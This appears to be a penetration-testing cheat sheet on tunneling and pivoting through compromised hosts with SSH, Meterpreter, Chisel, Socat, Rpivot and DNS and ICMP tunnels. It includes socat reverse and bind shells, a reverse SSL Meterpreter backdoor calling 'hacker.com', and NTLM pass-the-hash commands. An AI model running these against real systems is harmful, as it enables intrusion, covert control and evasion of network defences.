# Tunneling and Port Forwarding ## **SSH** SSH graphical connection \(X\) ```bash ssh -Y -C @ #-Y is less secure but faster than -X ``` ### Local Port2Port Open new Port in SSH Server --> Other port ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` ```bash ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere ``` ### Port2Port Local port --> Compromised host \(SSH\) --> Third\_box:Port ```bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example sudo ssh -L 631::631 -N -f -l ``` ### Port2hostnet \(proxychains\) Local Port --> Compromised host\(SSH\) --> Wherever ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` ### VPN-Tunnel You need **root in both devices** \(as you are going to create new interfaces\) and the sshd config has to allow root login: `PermitRootLogin yes` `PermitTunnel yes` ```bash ssh username@server -w any:any #This wil create Tun interfaces in both devices ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP ``` Enable forwarding in Server side ```bash echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE ``` Set new route on client side ```text route add -net 10.0.0.0/16 gw 1.1.1.1 ``` ## SSHUTTLE You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host. Example, forwarding all the traffic going to 10.10.10.0/24 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 ``` ## Meterpreter ### Port2Port Local port --> Compromised host \(active session\) --> Third\_box:Port ```bash # Inside a meterpreter session portfwd add -l -p -r ``` ### Port2hostnet \(proxychains\) ```bash background# meterpreter session route add # (ex: route add 10.10.10.14 255.255.255.0 8) use auxiliary/server/socks_proxy run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` Another way: ```bash background #meterpreter session use post/multi/manage/autoroute set SESSION set SUBNET #Ex: set SUBNET 10.1.13.0 set NETMASK run use auxiliary/server/socks_proxy set VERSION 4a run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` ## reGeorg [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) You need to upload a web file tunnel: ashx\|aspx\|js\|jsp\|php\|php\|jsp ```bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` ## Chisel [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) Chisel is a fast TCP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go \(golang\). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network. Chisel is very similar to crowbar though achieves much higher performance. You can do port forwarding \(bind & reverse\), create a socks proxy \(bind & reverse\). ```bash root@kali:/opt# git clone https://github.com/jpillora/chisel.git Cloning into 'chisel'... remote: Enumerating objects: 33, done. remote: Counting objects: 100% (33/33), done. remote: Compressing objects: 100% (27/27), done. remote: Total 1151 (delta 7), reused 18 (delta 5), pack-reused 1118 Receiving objects: 100% (1151/1151), 3.31 MiB | 19.03 MiB/s, done. Resolving deltas: 100% (416/416), done. root@kali:/opt/chisel# ./chisel --help Usage: chisel [command] [--help] Version: 0.0.0-src Commands: server - runs chisel in server mode client - runs chisel in client mode Read more: https://github.com/jpillora/chisel ``` ![](https://0xdf.gitlab.io/img/chisel-2.webp) Read more: * [https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html](https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html) \(Blog by Oxdf\) * [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) * [https://www.youtube.com/watch?v=Yp4oxoQIBAM&t=1469s](https://www.youtube.com/watch?v=Yp4oxoQIBAM&t=1469s) \(HTB Reddish by ippsec\) * [https://0xdf.gitlab.io/2019/01/26/htb-reddish.html](https://0xdf.gitlab.io/2019/01/26/htb-reddish.html) \(HTB Reddish by 0xdf\) ## Rpivot [https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot) Reverse tunnel. The tunnel is started from the victim. A socks4 proxy is created on 127.0.0.1:1080 ```bash attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 ``` ```bash victim> python client.py --server-ip --server-port 9999 ``` Pivot through **NTLM proxy** ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45 ``` ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) ### Bind shell ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP::1337 ``` ### Reverse shell ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` ### Port2Port ```bash socat TCP4-LISTEN:,fork TCP4:, & ``` ### Port2Port through socks ```bash socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` ### Meterpreter through SSL Socat ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 ``` ```bash victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` [https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) ### SSL Socat Tunnel **/bin/sh console** Create certificates in both sides: Client and Server ```bash # Execute this commands in both sides FILENAME=socatssl openssl genrsa -out $FILENAME.key 1024 openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt cat $FILENAME.key $FILENAME.crt >$FILENAME.pem chmod 600 $FILENAME.key $FILENAME.pem ``` ```bash attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt ``` ### Remote Port2Port Connect the local SSH port \(22\) to the 443 port of the attacker host ```bash attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim ``` ## Plink.exe It's like a console PuTTY version \( the options are very similar to a ssh client\). As this binary will be executed in the victim and it is a ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward a only locally accessible port to a port in our machine: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 ``` ## NTLM proxy bypass The previously mentioned tool: **Rpivot** **OpenVPN** can also bypass it, setting these options in the configuration file: ```bash http-proxy 8080 ntlm ``` ### Cntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port. Example that forward port 443 ```text Username Alice Password P@ssw0rd Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222. You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222. ## YARP A reverse proxy create by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) ## DNS Tunneling ### Iodine [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) Root is needed in both systems to create tun adapters and tunnels data between them using DNS queries. ```text attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` The tunnel will be really slow. You can create a compressed SSH connection through this tunnel by using: ```text ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` ### DNSCat2 Establishes a C&C channel through DNS. It doesn't need root privileges. ```bash attacker> ruby ./dnscat2.rb tunneldomain.com victim> ./dnscat2 tunneldomain.com ``` **Port forwarding with dnscat** ```bash session -i listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host ``` #### Change proxychains DNS Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** \(hardcoded\). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller**. ## Tunnels in Go [https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel) ## ICMP Tunneling ### Hans [https://github.com/friedrich/hans](https://github.com/friedrich/hans) [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) Root is needed in both systems to create tun adapters and tunnels data between them using ICMP echo requests. ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100 ``` ## Other tools to check * [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) * [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) * [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)